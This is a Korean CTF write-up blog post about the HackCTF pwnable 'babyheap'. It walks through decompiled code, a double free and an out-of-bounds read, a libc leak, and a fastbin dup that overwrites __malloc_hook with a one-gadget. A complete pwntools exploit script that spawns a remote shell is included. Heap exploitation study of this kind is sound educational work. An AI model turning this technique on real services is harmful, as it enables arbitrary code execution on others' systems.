tmxklab

[HackCTF/Pwnable] babyheap 본문

War Game/HackCTF

[HackCTF/Pwnable] babyheap

tmxk4221 2020. 8. 15. 20:05

__malloc_hook을 이용한 익스


1. 문제

nc ctf.j0n9hyun.xyz 3030

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드 흐름 확인

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-8h]
  int v4; // [rsp+Ch] [rbp-4h]

  Init();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v4 = input_number();
      if ( v4 != 1 )
        break;
      Malloc(v3++);
    }
    if ( v4 == 2 )
    {
      Free();
    }
    else
    {
      if ( v4 != 3 )
        exit(0);
      Show();
    }
  }
}

 

3-2) Malloc()

unsigned __int64 __fastcall Malloc(int a1)
{
  int v2; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("size: ");
  _isoc99_scanf("%d", &v2);
  if ( a1 > 5 )
    exit(1);
  ptr[a1] = (char *)malloc(v2);
  printf("content: ");
  read(0, ptr[a1], v2);
  return __readfsqword(0x28u) ^ v3;
}
  • ptr[a1]에 v2만큼 malloc
  • ptr[a1]에 content저장
  • 총 6개 Malloc가능

 

3-3) Free()

unsigned __int64 Free()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index: ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 5 )
    exit(1);
  free(ptr[v1]);
  return __readfsqword(0x28u) ^ v2;
}
  • 인덱스 값(v1)을 선택하여 free(ptr[v1])
  • 근데 해당 인덱스 값이 free되었는지 검증하지 않음 → DFB(Double Free Bug)

 

3-4) Show()

unsigned __int64 Show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index: ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 && v1 > 5 )
    exit(1);
  puts(ptr[v1]);
  return __readfsqword(0x28u) ^ v2;
}
  • puts()를 통해 ptr[v1]에 저장된 content값 출력
  • puts()로 함수 주소 leak할 수 있을 듯
  • 근데 여기 조건문이 이상하다. v1이 0보다 작아야 되고 5보다 크다는 2가지의 조건이 모두 만족할 수 가 없다. 따라서, v1이 아무 값이나 넣어도 조건문은 마족하지 않아 exit()가 호출되지 않는다. → oob

 


2. 접근방법

 

우선 위에서 알아낸 취약점에는 DFB와 oob가 있다.

DFB를 통해 이전에 hitcon training lab12에서 배웠던 fastbin dup를 사용하도록 하겠다. fastbin dup를 이용하면 원하는 주소에 값을 쓸 수 있다.

 

참고 :

 

hitcon training [LAB 12]

이번에는 Free된 Chunk를 검증하지 않아 Double Free Bug가 발생하게 되어 fastbin dup를 이용한 문제풀이를 하겠다. 1. 문제 1) mitigation확인 2) 문제 확인 3) 코드흐름 파악 3-1) main() int __cdecl main(i..

rninche01.tistory.com

먼저, libc base주소를 구하기 위해 릭을 해야하는데 위에서 oob가 발생하는 취약점을 이용하도록 하자

 

1) Show() → leak

  • 입력 값 -10을 주었는데 조건 문은 통과되었다.
  • puts(0x400738)을 call하기전에 rax*8 + 0x602060 주소에 있는 값을 인자로 주고 있다.

 

저 과정을 이용하여 특정 함수의 GOT를 넣으면 puts(func@got)가 되고 함수의 주소 값을 출력하게 될 것이다.

여기서 주의할 점이 rax*8 + 0x602060의 값이 GOT가 되면 안된다. 왜냐하면 GOT에 있는 값(함수의 실제 주소 값)을 puts의 인자로 주면 한 번더 참조하여 실제 주소 값에 들어있는 값을 출력하기 때문이다.

  • int puts(const char* str)

따라서, rax*8 + 0x602060를 특정 함수의 GOT를 호출하는 주소가 되어야 한다.

  • ELF RELA Relocation Table에 함수들의 GOT를 값으로 가진다.
  • 0x4005a8 → 0x601fa8 → puts실제 주소 값
  • 0x602060 + RAX*8 = 0x4005a8을 만들어주면된다.

 

이제 한 번 확인해보자

  • Show함수에서 인덱스를 "-262999"를 주고 puts가 호출되었다.
  • puts의 실제 주소 값이 leak이 되었다.

이후에 FULL RELRO가 걸려있어 GOT Overwrite도 안되고 어떻게 해야할지 몰라서 롸업을 봤다...

 

2) __malloc_hook

__malloc_hook은 디버깅 변수로 GNU C Library에서 hook이라는 것을 제공하여 malloc, realloc, free와 같이 동적 메모리 할당을 사용할 때 디버깅할 수 있도록 도와준다. (디버깅 용도로 사용되는 함수)

__malloc_hook은 디버깅을 할 수 있도록 설계되어 값의 변경이 가능하며 만일 malloc이 호출되면 libc가 hook이 존재하는지 확인하고 존재하면 해당 hook 버전을 부른다.

void *(*__malloc_hook)(size_t SIZE, const void *CALLER);
void *(*__realloc_hook)(void *PTR, size_t SIZE, const void *CALLER);
void (*__free_hook) (void *PTR, const void *CALLER);

hook은 CALLER라는 인자를 받게 되는데 만약 이곳에 어떤 인자 값을 가지고 있으면 그 값이 수행된다.

따라서, 위에서 leak을 통해 libc base주소를 구하면 __malloc_hook의 주소도 구할 수 있으니 __malloc_hook에 원샷 가젯을 넣어 보자

 

+) double free bug

fastbin dup를 이용하여 __malloc_hook에 원샷 가젯을 넣었으면 malloc을 수행하면 쉘을 딸 수 있을 것이다. 롸업을 보면서 처음 알게된 사실인데 동일한 청크를 연속으로 free시키게되면 double free bug가 발생하여 malloc 호출된다.

따라서, malloc이 호출되면서 __malloc_hook도 호출된다.

 

공격 프로세스)

  • Show함수에서 발생하는 oob를 통해 puts()의 주소 릭
  • libc base주소를 구하여 원샷 가젯과 __malloc_hook의 주소 구하기
  • fastbin dup를 이용하여 __malloc_hook에 원샷 가젯 삽입
  • 동일한 청크 두 번 free해서 double free bug를 발생

 


3. 풀이

 

1) Fake Chunk 구하기

  • fake chunk address : malloc_hook - 0x23(0x7f1727ad2aed)
  • __malloc_hook address : 0x7f1727ad2b10
  • prev_size : 0x0, size : 0x7f 이므로 malloc할 경우 저 chunk를 할당받도록 사이즈를 요청해야 한다.
  • fake chunk를 사용할 수 있으면 데이터를 쓸 수 있는 처음 시작 부분은 0x7f1727ad2afd이므로 0x7f1727ad2b10전까지 더미 값으로 채우고 다음 __malloc_hook부분에 원샷 가젯을 넣어야 한다. → 더미 0x13bytes

 

2) 원샷 가젯 확인

 

3) 익스 코드

from pwn import *

context.log_level = "debug"

#p = process("./babyheap")
p = remote("ctf.j0n9hyun.xyz", 3030)
e = ELF("./babyheap")
libc = ELF("/home/cmc/Desktop/lib_hack/babyheap/libc.so.6")

puts_offset = libc.symbols['puts']
malloc_hook_offset = libc.symbols['__malloc_hook']
#one_gadget_offset = 0x45216
#one_gadget_offset = 0x4526a
one_gadget_offset = 0xf02a4
#one_gadget_offset = 0xf1147


log.info("puts offset        :  "+hex(puts_offset))
log.info("one gadget offset  :  "+hex(one_gadget_offset))
log.info("malloc hook offset : "+hex(malloc_hook_offset))

#gdb.attach(p, """b*0x400b02""")

def Malloc(size, content):
	p.sendlineafter("> ", str(1))
	p.sendlineafter(": ", str(size))
	p.sendlineafter(": ", content)


def Free(idx):
	p.sendlineafter("> ", str(2))
	p.sendlineafter(": ", str(idx))


def Show(idx):
	p.sendlineafter("> ", str(3))
	p.sendlineafter(": ", str(idx))


# 1. puts() leak
Show(-262999)

puts_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = puts_addr - puts_offset
malloc_hook_addr = libc_base + malloc_hook_offset
one_gadget_addr = libc_base + one_gadget_offset

log.info("libc base        : "+hex(libc_base))
log.info("puts addr        : "+hex(puts_addr))
log.info("malloc hook addr : "+hex(malloc_hook_addr))
log.info("one gadget addr  : "+hex(one_gadget_addr))

# 2. fastbin dup
Malloc(100, "A")
Malloc(100, "B")

Free(0)
Free(1)
Free(0)

Malloc(100, p64(malloc_hook_addr-0x23))
Malloc(100, "AAAA")
Malloc(100, "BBBB")
Malloc(100, "A"*0x13+p64(one_gadget_addr))

# 3. Double Free Bug
Free(2)
Free(2)

p.interactive()
  • 원격에서 실행할 때 원샷 가젯 주소 중에 0xf02a4빼고 다른거는 안된다.;;

 

4) 실행 결과


4. 몰랐던 개념

 

1) malloc_hook 관련

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] babyfsb  (0) 2020.08.15
[HackCTF/Pwnable] j0n9hyun's secret  (0) 2020.08.15
[HackCTF/Pwnable] Unexploitable #2  (0) 2020.08.15
[HackCTF/Pwnable] 풍수지리설  (0) 2020.08.15
[HackCTF/Pwnable] World Best Encryption Tool  (0) 2020.08.15
Comments